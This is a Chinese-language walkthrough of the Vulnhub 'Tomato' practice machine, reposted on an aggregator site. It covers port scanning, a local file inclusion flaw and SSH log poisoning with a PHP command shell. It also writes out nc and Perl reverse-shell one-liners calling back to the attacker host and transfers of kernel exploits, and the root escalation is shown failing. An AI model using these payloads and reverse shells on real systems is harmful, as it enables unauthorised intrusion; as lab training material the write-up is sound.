【每日打靶练习】Vulnhub靶机平台

编程入门 行业动态 更新时间:2024-10-19 13:21:56

【每日打靶练习】Vulnhub<a href=https://www.elefans.com/category/jswz/34/1753072.html style=靶机平台"/>

【每日打靶练习】Vulnhub靶机平台

Tomato靶场练习---低

  • 0x00部署
  • 0x01信息收集
    • 1.主机发现
    • 2.端口扫描
    • 3.信息收集(漏洞扫描)
    • 4.路径爬取
    • 5.源码分析
  • 0x02漏洞渗透
    • 1.文件包含
    • 2.写入日志
      • 反弹shell
    • 3.内核漏洞枚举
    • 4.本地提权

0x00部署

Tomato靶机:下载地址
宿主机:kali2022
目标:获取root拿到flag文件

0x01信息收集

1.主机发现

$ sudo arp-scan -l
//因为靶机与宿主机在同一网段,所以用二级扫描来发现靶机ip

2.端口扫描

//使用namp命令,-p-指定ip,查看哪些端口开放
$ sudo nmap -p- 靶机ip 
$ sudo nmap -sC -sV -O -p21,80,2211,8888 靶机ip
//-sC常见漏洞脚本扫描
//-sV开放端口服务/版本号
//-O操作系统探测


通过结果信息可知,http title名称,这里还给出了ssh-hostkey等信息。

3.信息收集(漏洞扫描)

$sudo nmap --script=vuln -p21,80,2211,8888 靶机ip

其结果除了低速率DOS外也没什么可利用信息

访问80页面:可以看到一张西红树图片,检查一下源码(没什么问题)

4.路径爬取

对80端口进行一下路径爬取,寻找隐藏信息

$ dirsearch -u http://ip
//没什么特别的结果,继续
$ dirsearch -u http://ip -f -e php,txt,html
//指定扩展名
$ dirsearch -u http://ip -w /usr/share/seclists/Discovery/web-content/common.txt
//指定字典进行爆破


这里得到了一个防止爬取的插件的页面,查看一下

5.源码分析

里面有很多目录,检查一下内容,在info.php中看到这是一个phpinfo的信息,查看源码得到一个注释:

<!-- </?php include $_GET['image']; -->

这个注释提醒我们这里可能存在文件包含漏洞

0x02漏洞渗透

1.文件包含

利用注释的提示,我们尝试包含以下本地/etc/passwd

image=/etc/passwd

在网页的下边找到包含内容,通过返回信息中的用户属性得到信息:root用户可以执行shell,下方的tomato用户也可以执行shell,继续。

这里尝试包含/etc/shadow目录失败,如果存在文件包含就可以想到包含一句话木马,然后远程执行,但是在info页面发现并未开启远程包含–》更换思路

这里还要查看一下tomato用户的主目录下的ssh公钥是否可以包含

image=/home/tomato/.ssh/id_rsa

包含失败,这里未开放远程包含,同时本地包含文件无可再利用—》转换思路

2.写入日志

这里思路有三:
1.对ftp发起错误请求–写入日志–访问日志—查看写入的位置—对写入位置进行一句话木马,但是这里找不到ftp日志:1.权限问题,2.日志路径修改
2.web服务器写入日志
3.向ssh发起–写入–访问–若无配置,ssh默认登录信息或被存在放在系统信息身份认证日志中/var/log/auth.log–查看错误访问写入–一句户木马

$ ssh 22222@靶机ip -p 2211
//-p 指定一下port 


尝试ssh连接,这里使用错误的用户名和错误的密码,输入三次后,写入日志中,检查一下log,成功获取到日志信息,可通过修改ruser来进行注入

$ ssh '<?php echo system($_GET["cmd"]);?>'@ip -p port

刷新日志进行查看,发现注入未显示,证明注入成功,木马被作为代码执行,若显示则失败,代码木马作为文本执行。

反弹shell

查看一下nc存在否:(存在)

cmd=which nc
cmd=which perl
//查看一下perl环境有无,用来执行反弹shell脚本


利用nc来实现反弹shell
kali端:

$nc -nvlp 4444
//监听4444端口
---------------
包含:
cmd=nc kali的ip 4444 -e /bin/bash
//若成功,kali端会收到初始shell权限
//失败就换用反弹脚本:
perl -MIO -e '$p=fork;exit,if($p);$c=new IO::Socket::INET(PeerAddr,"192.168.145.142:4444");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;'


kali端收到侦听,执行指令发现当前用户可执行的指令很少,权限很少,通过查看系统使用工具来检查内核是否存在漏洞:

该工具:linux-exploit-suggester

3.内核漏洞枚举

下载该工具,并将其移动至主目录,更名为首字母缩写les.sh文件

$ cp /usr/share/linux-exploit-suggester/linux-exploit-suggester.sh .
$ mv linux-exploit-suggester.sh les.sh
$ nc kali的ip 4444 < les.sh -w 1 
//将工具les.sh通过nc发给靶机shell,-w表示一发送到就断开连接
//靶机端侦听,将收到的文件存入les.sh中
nc 4444 > les.sh
chmod +x les.sh
./les.sh

执行后的匹配到相应漏洞,选择可能性高的来试一下

kali靶机:

//搜索漏洞,根据提供路径放到当前目录下
$ searchsploit -p 40839
$ cp /usr/share/exploitdb/exploits/linux/local/40839.c .
$ gcc 40839.c -o exp
//这个执行不了,所以换一个
$ searchsploit -p 45010
$ cp /usr/share/exploitdb/exploits/linux/local/45010.c .
$ gcc 45010.c -o exp
$ nc kali的ip 4545 < exp -w 1 

推荐在目标靶机上进行gcc,但是如果目标靶机上没有c环境,则在宿主机上进行编译然后再通过nc传给靶机。

//靶机端侦听,将收到的文件存入les.sh中
nc 4545 > exp
chmod +x exp
./exp

本来到这里应该就可以提权了,但是我id后还是www-data用户,所以尝试了网上的方法,先将shell变成可交互式的:

python3 -c "import pty;pty.spawn('/bin/bash')"


然后再运行漏洞文件,才发现刚才不能提权是缺少‘GLIBC_2.34’
解决一下,tomato靶机提权无效的问题:暂未解决

4.本地提权

id

更多推荐

【每日打靶练习】Vulnhub靶机平台

本文发布于:2024-03-07 20:42:33,感谢您对本站的认可!
本文链接:https://www.elefans.com/category/jswz/34/1718870.html
版权声明:本站内容均来自互联网,仅供演示用,请勿用于商业和其他非法用途。如果侵犯了您的权益请与我们联系,我们将在24小时内删除。
本文标签:靶机   平台   Vulnhub

发布评论

评论列表 (有 0 条评论)
草根站长

>www.elefans.com

编程频道|电子爱好者 - 技术资讯及电子产品介绍!